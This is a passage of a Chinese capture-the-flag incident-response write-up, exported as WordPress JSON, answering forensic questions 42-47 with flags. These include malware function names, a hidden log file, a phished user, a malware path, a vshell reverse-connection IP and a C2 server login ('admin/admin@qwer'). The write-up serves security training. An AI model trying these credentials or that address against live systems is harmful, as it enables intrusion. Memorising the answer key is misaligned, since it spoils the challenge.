src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"870\" height=\"560\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-574.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-898\"  sizes=\"auto, (max-width: 870px) 100vw, 870px\" \/><\/div><\/figure>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-575-1024x523.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"523\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-575-1024x523.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-899\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u53d1\u73b0\u51fd\u6570\u540d\u5b57<\/p>\n\n\n\n<p>palu{simulate_network_communication}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">42.\u63d0\u4ea4\u6076\u610f\u7a0b\u5e8f\u521b\u5efa\u9690\u85cf\u6587\u4ef6\u7684\u540d\u79f0\u4f5c\u4e3aflag\u63d0\u4ea4<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-576-1024x586.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"586\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-576-1024x586.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-900\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u770b\u89c1\u51fd\u6570\uff0c\u76f4\u63a5\u5c31\u770b\u5230\u4e86<\/p>\n\n\n\n<p>\/tmp\/.malware_log.txt<\/p>\n\n\n\n<p>palu{.malware_log.txt}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">43.\u63d0\u4ea4\u6076\u610f\u7a0b\u5e8f\u4e2d\u6a21\u62df\u6743\u9650\u63d0\u5347\u7684\u51fd\u6570\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-577-1024x532.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"532\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-577-1024x532.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-901\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u5c31\u662f\u8fd9\u4e2a\u51fd\u6570<\/p>\n\n\n\n<p>palu{simulate_privilege_escalation}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">44.\u63d0\u4ea4\u88ab\u9493\u9c7c\u4e0a\u7ebf\u7684\u7528\u6237\u540d\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<figure class=\"wp-block-image size-full\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-578.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"910\" height=\"785\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-578.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-902\"  sizes=\"auto, (max-width: 910px) 100vw, 910px\" \/><\/div><\/figure>\n\n\n\n<p>\u5728palu02 \u770b\u5185\u7f51\u901a\u7684\u65f6\u5019\u6709\u4e2a\u8bb0\u5f55<\/p>\n\n\n\n<p>\u6240\u4ee5\u662fParloo-\u5b50\u6021\u88ab\u9493\u9c7c\u4e86<br>palu{Parloo-\u5b50\u6021}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">45.\u63d0\u4ea4\u6076\u610f\u7a0b\u5e8f\u7684\u6240\u5728\u8def\u5f84\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<p>\u548c44\u9898\u7167\u5e94\u76f4\u63a5\u5c31\u6709\u5730\u5740\u4e86<\/p>\n\n\n\n<p>palu{C:UsersPublicNwtcacherecvParloo-\u6c89\u6c89}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">46.\u5206\u6790\u6076\u610f\u7a0b\u5e8f\u7684\u53cd\u8fde\u5730\u5740\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4<\/h2>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-579-1024x837.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"837\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-579-1024x837.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-903\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>\u8c37\u6b4c\u6d4f\u89c8\u5668\u6709\u90a3\u4e2avshell\u7684\u5730\u5740<br>palu{47.101.213.153}<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">47.\u63d0\u4ea4\u6076\u610fc2\u7684\u670d\u52a1\u5668\u767b\u5f55\u7684\u8d26\u53f7\u5bc6\u7801\u4f5c\u4e3aflag\u8fdb\u884c\u63d0\u4ea4\u3002flag\u683c\u5f0f\u4e3apalu[username\/password}<\/h2>\n\n\n\n<p>\u5c31\u662f33\u9898\u6211\u4eec\u505a\u7684\u90a3\u4e2a<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-580-1024x557.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"557\" data-original=\"https:\/\/www.sanjiuctf.cn\/wp-content\/uploads\/2025\/11\/image-580-1024x557.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\" class=\"wp-image-904\"  sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><\/div><\/figure>\n\n\n\n<p>palu{admin\/admin@qwer}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4e3b\u7ebf \u8bf4\u660e\u6587\u6863\u4e0b\u8f7d \u9898\u76ee\u4e0b\u8f7d: \u901a\u8fc7\u7f51\u76d8\u5206\u4eab\u7684\u6587\u4ef6\uff1a\u5e94\u6025\u54cd\u5e94\u4e3b\u7ebf\u94fe\u63a5: https:\/\/pan.baidu.c [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5,14],"tags":[],"class_list":["post-786","post","type-post","status-publish","format-standard","hentry","category-ctf","category-14"],"_links":{"self":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/786","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=786"}],"version-history":[{"count":3,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/786\/revisions"}],"predecessor-version":[{"id":905,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=\/wp\/v2\/posts\/786\/revisions\/905"}],"wp:attachment":[{"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=786"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=786"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.sanjiuctf.cn\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=786"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}